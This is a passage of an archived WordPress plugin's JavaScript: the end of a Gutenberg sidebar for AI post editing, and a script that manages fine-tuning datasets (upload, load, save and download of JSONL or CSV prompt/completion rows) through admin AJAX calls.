'Post is edited with Aiomatic.'; } return el( PluginSidebar, { name: 'aiomatic-sidebar', icon: 'text', title: 'AIomatic AI Content Writer', }, el( 'div', { className: 'coderevolution_gutenberg_div' }, el( 'h4', { className: 'coderevolution_gutenberg_title' }, 'Manually Run AI Editing (AI Content Editor) For This Post' ), el( 'p', { className: 'coderevolution_gutenberg_title' }, 'The post will be edited respecting the configurations you made in the \'AI Content Editor\' plugin menu section.' ), el( 'input', { type:'button', id:'aiomatic_submit_post', value:'Process with Aiomatic', onClick: updateMessage, className: 'coderevolution_gutenberg_button button button-primary' } ) ), el( 'div', { className: 'coderevolution_gutenberg_div' }, el( 'h4', { className: 'coderevolution_gutenberg_title' }, 'Aiomatic Editing Status' ), el( 'p', { className: 'coderevolution_gutenberg_title' }, poststat ), el( 'input', { type:'button', id:'aiomatic_toggle_post', value:'Toggle Processing Status', onClick: toggleStatus, className: 'coderevolution_gutenberg_button button button-primary' } ), ), el( 'br' ), el( 'br' ), el( 'div', {id:'aiomatic_span'}, 'Processing status: idle' ) ); }, } ); } )( window.wp );����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/training.js���������������������������������������������������������������������������������0000644�����������������00000215617�14757771437�0010446 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������"use strict"; var moder_gpt_models_aiomatic = ['gpt-3.5-turbo-0125', 'gpt-3.5-turbo-0613', 'gpt-3.5-turbo-1106', 'gpt-4-0613', 'gpt-4', 'gpt-4o-2024-05-13'] function aiomatic_training_data_changed() { var select = jQuery('#model_selector_data_training').val(); if(moder_gpt_models_aiomatic.includes(select)) { var aiomatic_legacy_data = jQuery('#aiomatic_legacy_data'); var aiomatic_gpt_data = jQuery('#aiomatic_gpt_data'); aiomatic_legacy_data.hide(); aiomatic_gpt_data.show(); } else { var aiomatic_legacy_data = jQuery('#aiomatic_legacy_data'); var aiomatic_gpt_data = jQuery('#aiomatic_gpt_data'); aiomatic_legacy_data.show(); aiomatic_gpt_data.hide(); } } jQuery(document).ready(function ($){ function aiomatic_stripslashes (str) { return (str + '').replace(/\\(.?)/g, function (s, n1) { switch (n1) { case '\\': return '\\'; case '0': return '\u0000'; case '': return ''; default: return n1; } }); } $('.aiomatic_modal_close').on('click', function (){ $('.aiomatic_modal_close').closest('.aiomatic_modal').hide(); $('.aiomatic_modal_close').closest('.aiomatic_modal').removeClass('aiomatic-small-modal'); $('.aiomatic-overlay').hide(); }); function aiomaticLoading(btn){ btn.attr('disabled','disabled'); if(!btn.find('spinner').length){ btn.append('<span class="spinner"></span>'); } btn.find('.spinner').css('visibility','unset'); } function aiomaticRmLoading(btn){ btn.removeAttr('disabled'); btn.find('.spinner').remove(); } var aiomatic_max_file_size = aiomatic_object.maxfilesize; var aiomatic_max_size_in_mb = aiomatic_object.maxfilesize / (1024 ** 2); var aiomatic_file_button = $('#aiomatic_file_button'); var aiomatic_file_upload = $('#aiomatic_file_upload'); var aiomatic_file_purpose = $('#aiomatic_file_purpose'); var aiomatic_file_name = $('#aiomatic_file_name'); var aiomatic_file_model = $('#aiomatic_file_model'); var aiomatic_progress = $('.aiomatic_progress'); var aiomatic_error_message = $('.aiomatic-error-msg'); var aiomatic_create_fine_tune = $('.aiomatic_create_fine_tune'); var aiomatic_retrieve_content = $('.aiomatic_retrieve_content'); var aiomatic_delete_file = $('.aiomatic_delete_file'); var aiomatic_ajax_url = aiomatic_object.ajax_url; var aiomatic_upload_success = $('.aiomatic_upload_success'); aiomatic_file_button.on('click', function (){ if(aiomatic_file_upload[0].files.length === 0){ alert('Please select a file!'); } else{ var aiomatic_file = aiomatic_file_upload[0].files[0]; var aiomatic_file_extension = aiomatic_file.name.substr( (aiomatic_file.name.lastIndexOf('.') +1) ); if(aiomatic_file_extension !== 'jsonl'){ aiomatic_file_upload.val(''); alert('This feature only accepts JSONL file type!'); } else if(aiomatic_file.size > aiomatic_max_file_size){ aiomatic_file_upload.val(''); alert('Dataset allowed maximum size (MB): '+ aiomatic_max_size_in_mb) } else{ var formData = new FormData(); formData.append('action', 'aiomatic_finetune_upload'); formData.append('file', aiomatic_file); formData.append('purpose', aiomatic_file_purpose.val()); formData.append('model', aiomatic_file_model.val()); formData.append('name', aiomatic_file_name.val()); formData.append('nonce', aiomatic_object.nonce); $.ajax({ url: aiomatic_ajax_url, type: 'POST', dataType: 'JSON', data: formData, beforeSend: function (){ aiomatic_progress.find('span').css('width','0'); aiomatic_progress.show(); aiomaticLoading(aiomatic_file_button); aiomatic_error_message.hide(); aiomatic_upload_success.hide(); }, xhr: function() { var xhr = $.ajaxSettings.xhr(); xhr.upload.addEventListener("progress", function(evt) { if (evt.lengthComputable) { var percentComplete = evt.loaded / evt.total; aiomatic_progress.find('span').css('width',(Math.round(percentComplete * 100))+'%'); } }, false); return xhr; }, success: function(res) { if(res.status === 'success'){ aiomaticRmLoading(aiomatic_file_button); aiomatic_progress.hide(); aiomatic_file_upload.val(''); aiomatic_upload_success.show(); } else{ aiomaticRmLoading(aiomatic_file_button); aiomatic_progress.find('small').html('Error'); aiomatic_progress.addClass('aiomatic_error'); aiomatic_error_message.html(res.msg); aiomatic_error_message.show(); } }, cache: false, contentType: false, processData: false, error: function (r, s, error){ aiomatic_file_upload.val(''); aiomaticRmLoading(aiomatic_file_button); aiomatic_progress.addClass('aiomatic_error'); aiomatic_progress.find('small').html('Error'); alert('Error in processing finetune uploading: ' + error); aiomatic_error_message.show(); } }); } } }); function aiomaticSortData(){ $('.aiomatic_data').each(function (idx, item){ $(item).find('.aiomatic_data_prompt').attr('name','data['+idx+'][prompt]'); $(item).find('.aiomatic_data_completion').attr('name','data['+idx+'][completion]'); }); $('.aiomatic_new_data').each(function (idx, item){ $(item).find('.aiomatic_new_data_system').attr('name','new_data['+idx+'][system]'); $(item).find('.aiomatic_new_data_prompt').attr('name','new_data['+idx+'][prompt]'); $(item).find('.aiomatic_new_data_completion').attr('name','new_data['+idx+'][completion]'); }); } var aiomatic_item = '<div class="aiomatic_data_item aiomatic_data"><div><textarea rows="1" name="data[0][prompt]" class="regular-text aiomatic_data_prompt aiomatic_height" placeholder="Prompt"></textarea> </div><div><textarea rows="1" name="data[0][completion]" class="regular-text aiomatic_data_completion aiomatic_height" placeholder="Completion"></textarea><span class="button button-link-delete">×</span></div></div>'; var aiomatic_new_item = '<div class="aiomatic_new_data_item aiomatic_new_data"><div><textarea rows="1" name="new_data[0][system]" class="regular-text aiomatic_new_data_system aiomatic_height" placeholder="System"></textarea> </div><div><textarea rows="1" name="new_data[0][prompt]" class="regular-text aiomatic_new_data_prompt aiomatic_height" placeholder="User"></textarea> </div><div><textarea rows="1" name="new_data[0][completion]" class="regular-text aiomatic_new_data_completion aiomatic_height" placeholder="Assistant"></textarea><span class="button button-link-delete">×</span></div></div>'; var aiomatic_data_restore = window.localStorage.getItem('aiomatic_data_list'); if(aiomatic_data_restore !== null && aiomatic_data_restore !== "") { var appendData = ''; var oldobj = ''; try{ oldobj = JSON.parse(aiomatic_data_restore); oldobj.forEach(function (element){if(element.prompt !== null && element.completion !== null && element.prompt !== undefined && element.completion !== undefined){appendData += '<div class="aiomatic_data_item aiomatic_data"><div><textarea rows="1" name="data[0][prompt]" class="regular-text aiomatic_data_prompt aiomatic_height" placeholder="Prompt">' + element.prompt + '</textarea> </div><div><textarea rows="1" name="data[0][completion]" class="regular-text aiomatic_data_completion aiomatic_height" placeholder="Completion">' + element.completion + '</textarea><span class="button button-link-delete">×</span></div></div>';}}); appendData += aiomatic_item; $('#aiomatic_data_list').html(appendData); } catch(e) { alert(e); } } var aiomatic_new_data_restore = window.localStorage.getItem('aiomatic_new_data_list'); if(aiomatic_new_data_restore !== null && aiomatic_new_data_restore !== "") { var appendData = ''; var oldobj = ''; try{ oldobj = JSON.parse(aiomatic_new_data_restore); oldobj.forEach(function (element){if(element.prompt !== null && element.completion !== null && element.prompt !== undefined && element.completion !== undefined){appendData += '<div class="aiomatic_new_data_item aiomatic_new_data"><div><textarea rows="1" name="new_data[0][system]" class="regular-text aiomatic_new_data_system aiomatic_height" placeholder="System">' + element.system + '</textarea> </div><div><textarea rows="1" name="new_data[0][prompt]" class="regular-text aiomatic_new_data_prompt aiomatic_height" placeholder="User">' + element.prompt + '</textarea> </div><div><textarea rows="1" name="new_data[0][completion]" class="regular-text aiomatic_new_data_completion aiomatic_height" placeholder="Assistant">' + element.completion + '</textarea><span class="button button-link-delete">×</span></div></div>';}}); appendData += aiomatic_new_item; $('#aiomatic_new_data_list').html(appendData); } catch(e) { alert(e); } } var progressBar = $('.aiomatic-convert-bar'); var aiomatic_add_data = $('.aiomatic_add_data'); var aiomatic_clear_data = $('.aiomatic_clear_data'); var aiomatic_download_data = $('.aiomatic_download_data'); var aiomatic_load_data = $('.aiomatic_load_data'); var form = $('#aiomatic_form_data'); aiomatic_add_data.on('click', function (){ var select = jQuery('#model_selector_data_training').val(); if(moder_gpt_models_aiomatic.includes(select)) { $('#aiomatic_new_data_list').append(aiomatic_new_item); } else { $('#aiomatic_data_list').append(aiomatic_item); } aiomaticSortData(); var total = 0; var lists = []; $('.aiomatic_data').each(function (idx, item){ var item_prompt = $(item).find('.aiomatic_data_prompt').val(); var item_completion = $(item).find('.aiomatic_data_completion').val(); if(item_prompt !== '' && item_completion !== ''){ total += 1; lists.push({prompt: item_prompt, completion: item_completion}); } }); if(total > 0){ try { var jsonstr = JSON.stringify(lists); window.localStorage.setItem('aiomatic_data_list', jsonstr); } catch(e) { alert(e); } } var new_total = 0; var new_lists = []; $('.aiomatic_new_data').each(function (idx, item){ var item_system = $(item).find('.aiomatic_new_data_system').val(); var item_prompt = $(item).find('.aiomatic_new_data_prompt').val(); var item_completion = $(item).find('.aiomatic_new_data_completion').val(); if(item_prompt !== '' && item_completion !== ''){ new_total += 1; new_lists.push({system: item_system, prompt: item_prompt, completion: item_completion}); } }); if(new_total > 0){ try { var jsonstr = JSON.stringify(new_lists); window.localStorage.setItem('aiomatic_new_data_list', jsonstr); } catch(e) { alert(e); } } }); aiomatic_clear_data.on('click', function () { var select = jQuery('#model_selector_data_training').val(); if(moder_gpt_models_aiomatic.includes(select)) { $('#aiomatic_new_data_list').html('<div class="aiomatic_new_data_item aiomatic_new_data"><div><textarea rows="1" name="new_data[0][system]" class="regular-text aiomatic_new_data_system aiomatic_height" placeholder="System"></textarea></div><div><textarea rows="1" name="new_data[0][prompt]" class="regular-text aiomatic_new_data_prompt aiomatic_height" placeholder="User"></textarea></div><div><textarea rows="1" name="new_data[0][completion]" class="regular-text aiomatic_new_data_completion aiomatic_height" placeholder="Assistant"></textarea><span class="button button-link-delete">×</span></div></div>'); window.localStorage.removeItem('aiomatic_new_data_list'); } else { $('#aiomatic_data_list').html('<div class="aiomatic_data_item aiomatic_data"><div><textarea rows="1" name="data[0][prompt]" class="regular-text aiomatic_data_prompt aiomatic_height" placeholder="Prompt"></textarea></div><div><textarea rows="1" name="data[0][completion]" class="regular-text aiomatic_data_completion aiomatic_height" placeholder="Completion"></textarea><span class="button button-link-delete">×</span></div></div>'); window.localStorage.removeItem('aiomatic_data_list'); } }); var Download = { click : function(node) { var ev = new MouseEvent("click", { bubbles: true, cancelable: false, view: window, detail: 0, screenX: 0, screenY: 0, clientX: 0, clientY: 0, ctrlKey: false, altKey: false, shiftKey: false, metaKey: false, button: 0, relatedTarget: null }); return node.dispatchEvent(ev); }, encode : function(data) { return 'data:application/octet-stream;base64,' + btoa( data ); }, link : function(data, name){ var a = document.createElement('a'); a.download = name || self.location.pathname.slice(self.location.pathname.lastIndexOf('/')+1); a.href = data || self.location.href; return a; } }; Download.save = function(data, name) { this.click( this.link( this.encode( data ), name ) ); }; aiomatic_download_data.on('click', function (){ var select = jQuery('#model_selector_data_training').val(); if(moder_gpt_models_aiomatic.includes(select)) { var total = 0; var lists = ''; $('.aiomatic_new_data').each(function (idx, item){ var item_system = $(item).find('.aiomatic_new_data_system').val(); var item_prompt = $(item).find('.aiomatic_new_data_prompt').val(); var item_completion = $(item).find('.aiomatic_new_data_completion').val(); if(item_prompt !== '' && item_completion !== ''){ total += 1; var messages = [ { role: "system", content: item_system }, { role: "user", content: item_prompt }, { role: "assistant", content: item_completion } ]; var json_arr = { messages: messages }; try { var myJsonString = JSON.stringify(json_arr); lists += myJsonString + '\n'; } catch(e) { alert(e); } } }); lists = lists.trim(); if(total > 0){ try { Download.save(lists, "new_data.jsonl"); } catch(e) { alert(e); } } else { alert('No data to download!'); } } else { var total = 0; var lists = ''; $('.aiomatic_data').each(function (idx, item){ var item_prompt = $(item).find('.aiomatic_data_prompt').val(); var item_completion = $(item).find('.aiomatic_data_completion').val(); if(item_prompt !== '' && item_completion !== ''){ total += 1; var json_arr = {}; json_arr['prompt'] = item_prompt; json_arr['completion'] = item_completion; try { var myJsonString = JSON.stringify(json_arr); lists += myJsonString + '\n'; } catch(e) { alert(e); } } }); lists = lists.trim(); if(total > 0){ try { Download.save(lists, "data.jsonl"); } catch(e) { alert(e); } } else { alert('No data to download!'); } } }); aiomatic_load_data.on('click', function (event){ event.preventDefault(); var aiomatic_file_load = $('#aiomatic_file_load'); if(aiomatic_file_load[0].files.length === 0){ alert('Please select a file first!'); } else { var aiomatic_file = aiomatic_file_load[0].files[0]; var aiomatic_file_extension = aiomatic_file.name.substr( (aiomatic_file.name.lastIndexOf('.') +1) ); if(aiomatic_file_extension !== 'jsonl' && aiomatic_file_extension !== 'csv') { aiomatic_file_load.val(''); alert('This feature only accepts JSONL or CSV file type!'); } else if(aiomatic_file.size > aiomatic_max_file_size) { aiomatic_file_load.val(''); alert('Dataset allowed maximum size (MB): '+ aiomatic_max_size_in_mb) } else { var select = jQuery('#model_selector_data_training').val(); if(moder_gpt_models_aiomatic.includes(select)) { var reader = new FileReader(); reader.readAsText(aiomatic_file, "UTF-8"); var thehtml = ''; reader.onload = function (evt) { if(aiomatic_file_extension == 'jsonl') { var explodefile = evt.target.result.split(/\r?\n/); explodefile.forEach(function (element){if(element.trim() !== ''){var oldobj = '';try{oldobj = JSON.parse(element.trim());}catch(e) {alert(e);}if(oldobj.hasOwnProperty("messages")){if(oldobj.messages[0].role !== null && oldobj.messages[1].role !== null && oldobj.messages[2].role !== null && oldobj.messages[0].role !== undefined && oldobj.messages[1].role !== undefined && oldobj.messages[2].role !== undefined){thehtml += '<div class="aiomatic_new_data_item aiomatic_new_data"><div><textarea rows="1" name="new_data[0][prompt]" class="regular-text aiomatic_new_data_system aiomatic_height" placeholder="System">' + oldobj.messages[0].content + '</textarea> </div><div><textarea rows="1" name="new_data[0][prompt]" class="regular-text aiomatic_new_data_prompt aiomatic_height" placeholder="User">' + oldobj.messages[1].content + '</textarea> </div><div><textarea rows="1" name="new_data[0][completion]" class="regular-text aiomatic_new_data_completion aiomatic_height" placeholder="Assistant">' + oldobj.messages[2].content + '</textarea><span class="button button-link-delete">×</span></div></div>';}}}}); if(thehtml !== '') { thehtml += '<div class="aiomatic_new_data_item aiomatic_new_data"><div><textarea rows="1" name="new_data[0][system]" class="regular-text aiomatic_new_data_system aiomatic_height" placeholder="System"></textarea> </div><div><textarea rows="1" name="new_data[0][prompt]" class="regular-text aiomatic_new_data_prompt aiomatic_height" placeholder="User"></textarea> </div><div><textarea rows="1" name="new_data[0][completion]" class="regular-text aiomatic_new_data_completion aiomatic_height" placeholder="Assistant"></textarea><span class="button button-link-delete">×</span></div></div>'; $('#aiomatic_new_data_list').html(thehtml); var total = 0; var lists = []; $('.aiomatic_new_data').each(function (idx, item){ var item_system = $(item).find('.aiomatic_new_data_system').val(); var item_prompt = $(item).find('.aiomatic_new_data_prompt').val(); var item_completion = $(item).find('.aiomatic_new_data_completion').val(); if(item_prompt !== '' && item_completion !== ''){ total += 1; lists.push({system: item_system, prompt: item_prompt, completion: item_completion}); } }); if(total > 0){ try { var jsonstr = JSON.stringify(lists); window.localStorage.setItem('aiomatic_new_data_list', jsonstr); alert("Data loaded successfully!"); } catch(e) { alert(e); } } } else { alert("Invalid file submitted: " + aiomatic_file.name); } } else { let data = evt.target.result.split("\r\n"); for (let i in data) { data[i] = data[i].split(","); } data.forEach(function (element){if(element[0] !== null && element[0] != '' && element[1] != '' && element[1] !== null && element[2] != '' && element[2] !== null){thehtml += '<div class="aiomatic_new_data_item aiomatic_new_data"><div><textarea rows="1" name="new_data[0][system]" class="regular-text aiomatic_new_data_system aiomatic_height" placeholder="System">' + element[0] + '</textarea> </div><div><textarea rows="1" name="new_data[0][prompt]" class="regular-text aiomatic_new_data_prompt aiomatic_height" placeholder="User">' + element[1] + '</textarea> </div><div><textarea rows="1" name="new_data[0][completion]" class="regular-text aiomatic_new_data_completion aiomatic_height" placeholder="Assistant">' + element[2] + '</textarea><span class="button button-link-delete">×</span></div></div>';}}); if(thehtml !== '') { thehtml += '<div class="aiomatic_new_data_item aiomatic_new_data"><div><textarea rows="1" name="new_data[0][system]" class="regular-text aiomatic_new_data_system aiomatic_height" placeholder="System"></textarea> </div><div><textarea rows="1" name="new_data[0][prompt]" class="regular-text aiomatic_new_data_prompt aiomatic_height" placeholder="User"></textarea> </div><div><textarea rows="1" name="new_data[0][completion]" class="regular-text aiomatic_new_data_completion aiomatic_height" placeholder="Assistant"></textarea><span class="button button-link-delete">×</span></div></div>'; $('#aiomatic_new_data_list').html(thehtml); var total = 0; var lists = []; $('.aiomatic_new_data').each(function (idx, item){ var item_system = $(item).find('.aiomatic_new_data_system').val(); var item_prompt = $(item).find('.aiomatic_new_data_prompt').val(); var item_completion = $(item).find('.aiomatic_new_data_completion').val(); if(item_prompt !== '' && item_completion !== ''){ total += 1; lists.push({system: item_system, prompt: item_prompt, completion: item_completion}); } }); if(total > 0){ try { var jsonstr = JSON.stringify(lists); window.localStorage.setItem('aiomatic_new_data_list', jsonstr); alert("Data loaded successfully!"); } catch(e) { alert(e); } } } else { alert("Invalid file submitted: " + aiomatic_file.name); } } } reader.onerror = function (evt) { alert("Error reading file: " + aiomatic_file.name + ' - ' + reader.error); } } else { var reader = new FileReader(); reader.readAsText(aiomatic_file, "utf-8"); var thehtml = ''; reader.onload = function (evt) { if(aiomatic_file_extension == 'jsonl') { var explodefile = evt.target.result.split(/\r?\n/); explodefile.forEach(function (element){if(element.trim() !== ''){var oldobj = '';try{oldobj = JSON.parse(element.trim());}catch(e) {alert(e);}if(oldobj.hasOwnProperty("prompt")){if(oldobj.prompt !== null && oldobj.completion !== null){thehtml += '<div class="aiomatic_data_item aiomatic_data"><div><textarea rows="1" name="data[0][prompt]" class="regular-text aiomatic_data_prompt aiomatic_height" placeholder="Prompt">' + oldobj.prompt + '</textarea> </div><div><textarea rows="1" name="data[0][completion]" class="regular-text aiomatic_data_completion aiomatic_height" placeholder="Completion">' + oldobj.completion + '</textarea><span class="button button-link-delete">×</span></div></div>';}}}}); if(thehtml !== '') { thehtml += '<div class="aiomatic_data_item aiomatic_data"><div><textarea rows="1" name="data[0][prompt]" class="regular-text aiomatic_data_prompt aiomatic_height" placeholder="Prompt"></textarea> </div><div><textarea rows="1" name="data[0][completion]" class="regular-text aiomatic_data_completion aiomatic_height" placeholder="Completion"></textarea><span class="button button-link-delete">×</span></div></div>'; $('#aiomatic_data_list').html(thehtml); var total = 0; var lists = []; $('.aiomatic_data').each(function (idx, item){ var item_prompt = $(item).find('.aiomatic_data_prompt').val(); var item_completion = $(item).find('.aiomatic_data_completion').val(); if(item_prompt !== '' && item_completion !== ''){ total += 1; lists.push({prompt: item_prompt, completion: item_completion}); } }); if(total > 0){ try { var jsonstr = JSON.stringify(lists); window.localStorage.setItem('aiomatic_data_list', jsonstr); alert("Data loaded successfully!"); } catch(e) { alert(e); } } } else { alert("Invalid file submitted: " + aiomatic_file.name); } } else { let data = evt.target.result.split("\r\n"); for (let i in data) { data[i] = data[i].split(","); } data.forEach(function (element){if(element[0] !== null && element[0] != '' && element[1] != '' && element[1] !== null){thehtml += '<div class="aiomatic_data_item aiomatic_data"><div><textarea rows="1" name="data[0][prompt]" class="regular-text aiomatic_data_prompt aiomatic_height" placeholder="Prompt">' + element[0] + '</textarea> </div><div><textarea rows="1" name="data[0][completion]" class="regular-text aiomatic_data_completion aiomatic_height" placeholder="Completion">' + element[1] + '</textarea><span class="button button-link-delete">×</span></div></div>';}}); if(thehtml !== '') { thehtml += '<div class="aiomatic_data_item aiomatic_data"><div><textarea rows="1" name="data[0][prompt]" class="regular-text aiomatic_data_prompt aiomatic_height" placeholder="Prompt"></textarea> </div><div><textarea rows="1" name="data[0][completion]" class="regular-text aiomatic_data_completion aiomatic_height" placeholder="Completion"></textarea><span class="button button-link-delete">×</span></div></div>'; $('#aiomatic_data_list').html(thehtml); var total = 0; var lists = []; $('.aiomatic_data').each(function (idx, item){ var item_prompt = $(item).find('.aiomatic_data_prompt').val(); var item_completion = $(item).find('.aiomatic_data_completion').val(); if(item_prompt !== '' && item_completion !== ''){ total += 1; lists.push({prompt: item_prompt, completion: item_completion}); } }); if(total > 0){ try { var jsonstr = JSON.stringify(lists); window.localStorage.setItem('aiomatic_data_list', jsonstr); alert("Data loaded successfully!"); } catch(e) { alert(e); } } } else { alert("Invalid file submitted: " + aiomatic_file.name); } } } reader.onerror = function (evt) { alert("Error reading file: " + aiomatic_file.name + ' - ' + reader.error); } } } } }); $(document).on('click','.aiomatic_data span', function (e){ $(e.currentTarget).parent().parent().remove(); var total = 0; var lists = []; $('.aiomatic_data').each(function (idx, item){ var item_prompt = $(item).find('.aiomatic_data_prompt').val(); var item_completion = $(item).find('.aiomatic_data_completion').val(); if(item_prompt !== '' && item_completion !== ''){ total += 1; lists.push({prompt: item_prompt, completion: item_completion}); } }); if(total > 0){ try { var jsonstr = JSON.stringify(lists); window.localStorage.setItem('aiomatic_data_list', jsonstr); } catch(e) { alert(e); } } else { window.localStorage.removeItem('aiomatic_data_list'); } aiomaticSortData(); }); $(document).on('click','.aiomatic_new_data span', function (e){ $(e.currentTarget).parent().parent().remove(); var total = 0; var lists = []; $('.aiomatic_new_data').each(function (idx, item){ var item_system = $(item).find('.aiomatic_new_data_system').val(); var item_prompt = $(item).find('.aiomatic_new_data_prompt').val(); var item_completion = $(item).find('.aiomatic_new_data_completion').val(); if(item_prompt !== '' && item_completion !== ''){ total += 1; lists.push({system: item_system, prompt: item_prompt, completion: item_completion}); } }); if(total > 0){ try { var jsonstr = JSON.stringify(lists); window.localStorage.setItem('aiomatic_new_data_list', jsonstr); } catch(e) { alert(e); } } else { window.localStorage.removeItem('aiomatic_new_data_list'); } aiomaticSortData(); }); function aiomaticFileUpload(data, btn){ var aiomatic_upload_convert_index = parseInt($('#aiomatic_upload_convert_index').val()); $.ajax({ url: aiomatic_ajax_url, data: data, type: 'POST', dataType: 'JSON', success: function (res){ if(res.status === 'success'){ if(res.next === 'DONE'){ var select = jQuery('#model_selector_data_training').val(); if(moder_gpt_models_aiomatic.includes(select)) { $('#aiomatic_new_data_list').html(aiomatic_new_item); } else { $('#aiomatic_data_list').html(aiomatic_item); } $('.aiomatic-upload-message').html('The upload was successfully completed!'); progressBar.find('small').html('100%'); progressBar.find('span').css('width','100%'); aiomaticRmLoading(btn); setTimeout(function (){ $('#aiomatic_upload_convert_line').val('0'); $('#aiomatic_upload_convert_index').val('1'); progressBar.hide(); progressBar.removeClass('aiomatic_error') progressBar.find('span').css('width',0); progressBar.find('small').html('0%'); },2000); } else{ $('#aiomatic_upload_convert_line').val(res.next); $('#aiomatic_upload_convert_index').val(aiomatic_upload_convert_index+1); var data = $('#aiomatic_upload_convert').serialize(); aiomaticFileUpload(data, btn); } } else{ progressBar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert(res.msg); } }, error: function (r, s, error){ progressBar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert('Error in processing upload: ' + error); } }) } function aiomaticProcessData(lists, start, file, btn){ var purpose = $('select[name=purpose]').val(); var model = $('select[name=model]').val(); var name = $('#file-name-holder').val(); if(file == '' && name != '') { file = name; } var data = { action: 'aiomatic_data_insert', prompt: aiomatic_stripslashes(lists[start].prompt), completion: aiomatic_stripslashes(lists[start].completion), file: file, nonce: aiomatic_object.nonce }; $.ajax({ url: aiomatic_ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ if(res.status === 'success'){ var percent = Math.ceil((start+1)*90/lists.length); progressBar.find('small').html(percent+'%'); progressBar.find('span').css('width',percent+'%'); if((start + 1) === lists.length){ $('#aiomatic_upload_convert input[name=model]').val(model); $('#aiomatic_upload_convert input[name=purpose]').val(purpose); $('#aiomatic_upload_convert input[name=custom]').val(name); $('#aiomatic_upload_convert input[name=file]').val(res.file); var data = $('#aiomatic_upload_convert').serialize(); aiomaticFileUpload(data, btn); } else{ aiomaticProcessData(lists, (start+1), file, btn); } } else{ progressBar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert(res.msg); } }, error: function (r, s, error){ progressBar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert('Error in processing data: ' + error); } }); } function aiomaticNewProcessData(lists, start, file, btn){ var purpose = $('select[name=purpose]').val(); var model = $('select[name=model]').val(); var name = $('#file-name-holder').val(); if(file == '' && name != '') { file = name; } var data = { action: 'aiomatic_new_data_insert', system: aiomatic_stripslashes(lists[start].system), prompt: aiomatic_stripslashes(lists[start].prompt), completion: aiomatic_stripslashes(lists[start].completion), file: file, nonce: aiomatic_object.nonce }; $.ajax({ url: aiomatic_ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ if(res.status === 'success'){ var percent = Math.ceil((start+1)*90/lists.length); progressBar.find('small').html(percent+'%'); progressBar.find('span').css('width',percent+'%'); if((start + 1) === lists.length){ $('#aiomatic_upload_convert input[name=model]').val(model); $('#aiomatic_upload_convert input[name=purpose]').val(purpose); $('#aiomatic_upload_convert input[name=custom]').val(name); $('#aiomatic_upload_convert input[name=file]').val(res.file); var data = $('#aiomatic_upload_convert').serialize(); aiomaticFileUpload(data, btn); } else{ aiomaticNewProcessData(lists, (start+1), file, btn); } } else{ progressBar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert(res.msg); } }, error: function (r, s, error){ progressBar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert('Error in processing data: ' + error); } }); } form.on('submit', function (){ var select = jQuery('#model_selector_data_training').val(); if(moder_gpt_models_aiomatic.includes(select)) { var total = 0; var lists = []; var btn = form.find('.aiomatic_submit'); $('.aiomatic_new_data').each(function (idx, item){ var item_system = $(item).find('.aiomatic_new_data_system').val(); var item_prompt = $(item).find('.aiomatic_new_data_prompt').val(); var item_completion = $(item).find('.aiomatic_new_data_completion').val(); if(item_prompt !== '' && item_completion !== ''){ total += 1; lists.push({system: item_system, prompt: item_prompt, completion: item_completion }) } }); if(total > 0){ $('#aiomatic_upload_convert_line').val('0'); $('#aiomatic_upload_convert_index').val('1'); $('.aiomatic-upload-message').empty(); progressBar.show(); progressBar.removeClass('aiomatic_error') progressBar.find('span').css('width',0); progressBar.find('small').html('0%'); aiomaticLoading(btn); aiomaticNewProcessData(lists, 0, '', btn); } else{ alert('Please insert at least one row'); } } else { var total = 0; var lists = []; var btn = form.find('.aiomatic_submit'); $('.aiomatic_data').each(function (idx, item){ var item_prompt = $(item).find('.aiomatic_data_prompt').val(); var item_completion = $(item).find('.aiomatic_data_completion').val(); if(item_prompt !== '' && item_completion !== ''){ total += 1; lists.push({prompt: item_prompt, completion: item_completion }) } }); if(total > 0){ $('#aiomatic_upload_convert_line').val('0'); $('#aiomatic_upload_convert_index').val('1'); $('.aiomatic-upload-message').empty(); progressBar.show(); progressBar.removeClass('aiomatic_error') progressBar.find('span').css('width',0); progressBar.find('small').html('0%'); aiomaticLoading(btn); aiomaticProcessData(lists, 0, '', btn); } else{ alert('Please insert at least one row'); } } return false; }); $('.aiomatic_modal_close').on('click', function (){ $('.aiomatic_modal_close').closest('.aiomatic_modal').hide(); $('.aiomatic_modal_close').closest('.aiomatic_modal').removeClass('aiomatic-small-modal'); $('.aiomatic-overlay').hide(); }); var form = $('#aiomatic_data_converter'); var btn = $('.aiomatic_converter_button'); var progressBar = $('.aiomatic-convert-bar'); var aiomatic_convert_upload = $('.aiomatic_convert_upload'); var aiomatic_delete_upload = $('.aiomatic_delete_upload'); function aiomaticConverter(data){ $.ajax({ url: aiomatic_ajax_url, data: data, type: 'POST', dataType: 'JSON', success: function (res){ if(res.status === 'success'){ if(res.next_page === 'DONE'){ aiomaticRmLoading(btn); progressBar.find('small').html('100%'); progressBar.find('span').css('width','100%'); setTimeout(function (){ window.location.reload(); },1000); } else{ var percent = Math.ceil(data.page*100/data.total); progressBar.find('small').html(percent+'%'); progressBar.find('span').css('width',percent+'%'); data.page = res.next_page; data.file = res.file; data.id = res.id; aiomaticConverter(data); } } else{ progressBar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert(res.msg); } }, error: function (request, status, error){ progressBar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert('Error in processing: ' + error); } }); } form.on('submit', function (){ if(!$('.aiomatic_converter_data:checked').length){ alert('Please select least one data to convert'); } else{ var data = form.serialize(); $.ajax({ url: aiomatic_ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ progressBar.show(); progressBar.removeClass('aiomatic_error') progressBar.find('span').css('width',0); progressBar.find('small').html('0%'); aiomaticLoading(btn); }, success: function (res){ if(res.status === 'success'){ if(res.count > 0){ aiomaticConverter({action: 'aiomatic_data_converter', types: res.types, category: res.category, total: res.count, page: 1, per_page: 100, content_excerpt: res.content_excerpt, nonce: aiomatic_object.nonce}); } else{ progressBar.addClass('aiomatic_error'); aiomaticRmLoading(btn); alert('Nothing to 